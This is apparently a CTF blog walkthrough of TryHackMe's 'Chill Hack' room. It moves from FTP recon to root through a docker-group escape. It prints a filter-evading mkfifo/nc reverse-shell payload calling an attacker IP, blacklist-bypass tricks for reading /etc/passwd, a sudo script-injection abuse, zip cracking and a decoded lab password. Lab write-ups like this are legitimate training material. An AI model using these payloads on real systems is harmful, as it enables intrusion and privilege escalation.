> ## Content Index
> Fetch the complete content index at: https://taiwanding.com/llms.txt
> Use this file to discover other available public pages before exploring further.

# Chill Hack Walkthrough (TryHackMe): Command Injection to Root via Docker
- URL: https://taiwanding.com/en/tryhackme-chill-hack-writeup/
- Published: 2025-11-10T09:32:01.000Z
- Updated: 2026-07-15T02:50:38.000Z
- Author: Kevin Chen
- Tags: #en, #en-machine

## Room Information

- **Platform**: TryHackMe
- **Room Name**: Chill Hack
- **Difficulty**: Easy
- **Goal**: Capture user.txt and root.txt
- **Link**: [https://tryhackme.com/room/chillhack](https://tryhackme.com/room/chillhack?ref=taiwanding.com)

## Walkthrough

### Step 1: Initial Recon - Nmap Scan

First, I run a port scan against the target:

```bash
rustscan -a 10.201.106.243 -b 2000 -t 2000 -- -A -sV -sC
```

**Scan results:**

```
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed
22/tcp open  ssh     OpenSSH 7.6p1
80/tcp open  http    Apache httpd 2.4.29

```

**Findings:**

- ✅ FTP (21) - Anonymous login allowed
- ✅ SSH (22) - OpenSSH
- ✅ HTTP (80) - Apache Web Server

### Step 2: Exploring the FTP Anonymous Login

I try logging in to FTP as an anonymous user:

```bash
ftp 10.201.106.243
# Username: anonymous
# Password: (just press Enter)

```

**List the files:**

```bash
ftp> ls -la
drwxr-xr-x 2 0 115 4096 Oct 03 2020 .
drwxr-xr-x 2 0 115 4096 Oct 03 2020 ..
-rw-r--r-- 1 1001 1001 90 Oct 03 2020 note.txt

```

**Download note.txt:**

```bash
ftp> get note.txt
ftp> exit

```

**View the contents:**

```bash
cat note.txt

```

```
Anurodh told me that there is some filtering on strings being put in the command -- Apaar

```

**Key takeaways:**

- 💡 A potential username: **Anurodh**
- 💡 A hint about **command filtering**

### Step 3: Exploring the Web App - Directory Scan

I use feroxbuster to scan for hidden directories:

```bash
feroxbuster -u http://10.201.106.243/ -w /usr/share/seclists/Discovery/Web-Content/common.txt -t 10 -d 2
```

**Directories found:**

```
/css                (Status: 301)
/fonts              (Status: 301)
/images             (Status: 301)
/js                 (Status: 301)
/secret             (Status: 301) ⭐

```

**Visiting `/secret` reveals a command-execution interface!**

### Step 4: Command Injection - Bypassing the Blacklist Filter

Visiting `http://10.201.106.243/secret/` reveals a command input interface.

**Testing a basic command:**

```bash
id
# Executes successfully, returns: uid=33(www-data) gid=33(www-data)

```

**Trying the ls command:**

```bash
ls
# Page displays: "Are you a hacker?" ❌

```

**Analyzing the blacklist - use tac to view index.php:**

```bash
tac index.php

```

**The blacklist revealed:**

```php
$blacklist = array('nc', 'python', 'bash','php','perl','rm','cat','head','tail','python3','more','less','sh','ls');

```

**Bypass strategy - inserting an empty variable:**

The key idea: in Bash, if xyz is undefined, `${xyz}` expands to an empty string, so `ca${x}t` \= `cat`

**Reverse Shell Payload:**

```bash
r${x}m /tmp/f;mkfifo /tmp/f;ca${x}t /tmp/f|/bin/s${x}h -i 2>&1|n${x}c 10.13.90.144 4444 >/tmp/f

```

**Start a listener on the attacker machine (Windows PowerShell):**

```bash
ncat -lnvp 4444

```

**Submit the payload on the /secret page and I get a shell! 🎉**

### Step 5: Stabilizing the Shell

```bash
python3 -c 'import pty; pty.spawn("/bin/bash")'

```

### Step 6: Privilege Escalation (www-data → apaar)

**Check sudo privileges:**

```bash
sudo -l

```

**Result:**

```
User www-data may run the following commands on ip-10-201-106-243:
    (apaar : ALL) NOPASSWD: /home/apaar/.helpline.sh

```

**Inspect the script:**

```bash
cat /home/apaar/.helpline.sh

```

```bash
#!/bin/bash
echo
echo "Welcome to helpdesk. Feel free to talk to anyone at any time!"
echo
read -p "Enter the person whom you want to talk with: " person
read -p "Hello user! I am $person,  Please enter your message: " msg
$msg 2>/dev/null  # ⚠️ Directly executes user input!
echo "Thank you for your precious time!"

```

**Vulnerability analysis:**

- The script directly executes the contents of the `$msg` variable
- This is a clear **Command Injection** vulnerability!

**Escalating via the script:**

```bash
sudo -u apaar /home/apaar/.helpline.sh

```

**The interaction:**

```
Enter the person whom you want to talk with: admin
Hello user! I am admin, Please enter your message: /bin/bash

```

**Successfully got an apaar shell! 🎉**

```bash
whoami
# apaar

```

**Grab the user flag:**

```bash
cat /home/apaar/local.txt
# {USER-FLAG: 9axxxxxxxxxxxxxxxxxxxxxxxx6c}

```

### Step 7: Lateral Movement (apaar → anurodh)

**Explore the web directory:**

```bash
cd /var/www/files
ls -la

```

**File listing:**

```
-rw-r--r-- 1 root root  391 Oct  3  2020 account.php
-rw-r--r-- 1 root root  453 Oct  3  2020 hacker.php ⭐
drwxr-xr-x 2 root root 4096 Oct  3  2020 images
-rw-r--r-- 1 root root 1153 Oct  3  2020 index.php
-rw-r--r-- 1 root root  545 Oct  3  2020 style.css

```

**View hacker.php:**

```bash
cat /var/www/files/hacker.php

```

**Key contents:**

```html
<img src = "images/hacker-with-laptop_23-2147985341.jpg"><br>
<h1 style="background-color:red;">You have reached this far. </h2>
<h1 style="background-color:black;">Look in the dark! You will find your answer</h1>

```

**Reading the hints:**

- 💡 "Look in the dark!" → suggests **steganography**
- 🖼️ The image to focus on: `hacker-with-laptop_23-2147985341.jpg`

**Download the image to my machine:**

Method 1 - use a Python HTTP Server:

```bash
# On the target machine
cd /var/www/files/images
python3 -m http.server 8000

```

```bash
# On Kali
wget http://10.10.XX.XX:8000/hacker-with-laptop_23-2147985341.jpg

```

**Use Stegseek to extract the hidden file:**

```bash
stegseek hacker-with-laptop_23-2147985341.jpg

```

**Output:**

```
[i] Found passphrase: ""
[i] Original filename: "backup.zip".
[i] Extracting to "hacker-with-laptop_23-2147985341.jpg.out".

```

**Confirm the file type:**

```bash
file hacker-with-laptop_23-2147985341.jpg.out
# Zip archive data

```

**Try to unzip it:**

```bash
unzip hacker-with-laptop_23-2147985341.jpg.out
# [hacker-with-laptop_23-2147985341.jpg.out] source_code.php password:

```

A password is required! 😤

### Step 8: Cracking the Zip Password

**Using John the Ripper:**

```bash
# Convert the zip into hash format
zip2john hacker-with-laptop_23-2147985341.jpg.out > zip_hash.txt

# Crack it
john zip_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

```

**Or use fcrackzip:**

```bash
└─$ fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt hacker-with-laptop_23-2147985341.jpg.out

PASSWORD FOUND!!!!: pw == pass1word
```

**Cracked! Password: pass1word**

**Unzip it:**

```bash
unzip hacker-with-laptop_23-2147985341.jpg.out
# Enter password: pass1word

```

**View source\_code.php:**

```bash
cat source_code.php

```

**Key code:**

```php
if(base64_encode($password) == "IWQwbnRLbjB3bVlwQHNzdzByZA==")
{
    $random = rand(1000,9999);
    // ...
    echo "Welcome Anurodh!";

```

**Findings:**

- 💡 This is the password for the **anurodh** user (Base64-encoded)
- 🔑 Decoding it gives the plaintext password

**Decode the Base64:**

```bash
echo "IWQwbnRLbjB3bVlwQHNzdzByZA==" | base64 -d
# !d0ntKn0wmYp@ssw0rd

```

**SSH in as anurodh:**

```bash
ssh anurodh@10.10.XX.XX
# Password: !d0ntKn0wmYp@ssw0rd

```

**Logged in successfully! 🎉**

### Step 9: Privilege Escalation (anurodh → root)

**Check the user's group memberships:**

```bash
id

```

**Output:**

```
uid=1002(anurodh) gid=1002(anurodh) groups=1002(anurodh),999(docker) ⭐

```

**Key finding: anurodh is in the `docker` group!**

**Check the available Docker images:**

```bash
docker images

```

**Result:**

```
REPOSITORY    TAG       IMAGE ID       CREATED       SIZE
alpine        latest    a24bb4013296   5 years ago   5.57MB
hello-world   latest    bf756fb1ae65   5 years ago   13.3kB

```

**How the Docker privilege escalation works:**

1. Members of the docker group can start containers
2. Inside a container, you are **root** by default
3. You can mount the host's root filesystem into the container
4. Using `chroot` to switch into the host's root filesystem = **accessing the host as root!**

**Perform the Docker privilege escalation:**

```bash
docker run -v /:/mnt --rm -it alpine chroot /mnt sh

```

**Parameter explanation:**

- `docker run` \- Start a new container
- `-v /:/mnt` \- Mount the host's `/` into the container's `/mnt`
- `--rm` \- Automatically remove the container when it exits
- `-it` \- Interactive terminal
- `alpine` \- Use the alpine Linux image
- `chroot /mnt sh` \- Switch the root directory to `/mnt` and run a shell

**Verify privileges:**

```bash
whoami
# root ✅

```

**Grab the root flag:**

```bash
cd /root
ls
# proof.txt  snap

cat proof.txt

```

**Flag contents:**

```
{ROOT-FLAG: Redacted}

Congratulations! You have successfully completed the challenge.

         ,-.-.     ,----.                                             
,-..-.-./  \==\ ,-.-` , \   _.-.      _.-.             _,..---._      
|, \=/\=|- |==||==|-  _.` .-,.'|    .-,.'|           /==/,   -  \    
|- |/ |/ , /==/|==|   `.-.|==|, |   |==|, |           |==|   _   _\   
 \, ,     _|==/==/_ ,    /|==|- |   |==|- |           |==|  .=.   |   
 | -  -  , |==|==|    .-' |==|, |   |==|, |           |==|,|   | -|   
  \  ,  - /==/|==|_  `-._|==|- `-._|==|- `-._        |==|  '='   /    
  |-  /\ /==/ /==/ ,     //==/ - , ,/==/ - , ,/       |==|-,   _`/     
  `--`  `--`  `--`-----`` `--`-----`--`-----'        `-.`.____.'      

--------------------------------------------Designed By -------------------------------------------------------
                                        |  Anurodh Acharya |
                                        ---------------------

```

**Done! 🏆**

## Technical Takeaways

### 1\. Command Injection Blacklist Bypass

```bash
ca${x}t /etc/passwd    # Empty variable insertion
c"at" /etc/passwd      # Splitting with double quotes
c\at /etc/passwd       # Backslash
tac /etc/passwd        # Alternative command
```

### 2\. Steganography Tools

```bash
stegseek image.jpg              # Automatic JPG brute-force
steghide extract -sf image.jpg  # Manual extraction
zsteg image.png -a              # PNG scanning

```

### 3\. ZIP Password Cracking

```bash
fcrackzip -u -D -p rockyou.txt backup.zip
# Or
zip2john backup.zip > hash.txt
john hash.txt --wordlist=rockyou.txt

```

### 4\. Docker Group Privilege Escalation

```bash
docker run -v /:/mnt --rm -it alpine chroot /mnt sh

```

Detection: run `id` to check whether you are in the docker group

## Lessons Learned

### On Step 7: Lateral Movement (apaar → anurodh)

I was stuck on this step for a really long time. In the end I had Claude AI look up a writeup, which is how I realized I needed to go back and hunt through the files in the directories under /var/www. Even after finding the file, I didn't immediately think to test for steganography either; it was again only thanks to the writeup's hint that I went and analyzed that image. Looking back on it, the lesson is that you still need to check a website for certain special files. Usually, once you have the user flag it's easier to focus on privilege escalation, but this time I had to pivot to yet another user first before escalating, and that pivot step required finding some of the user's passwords. After that, things were fairly straightforward. \~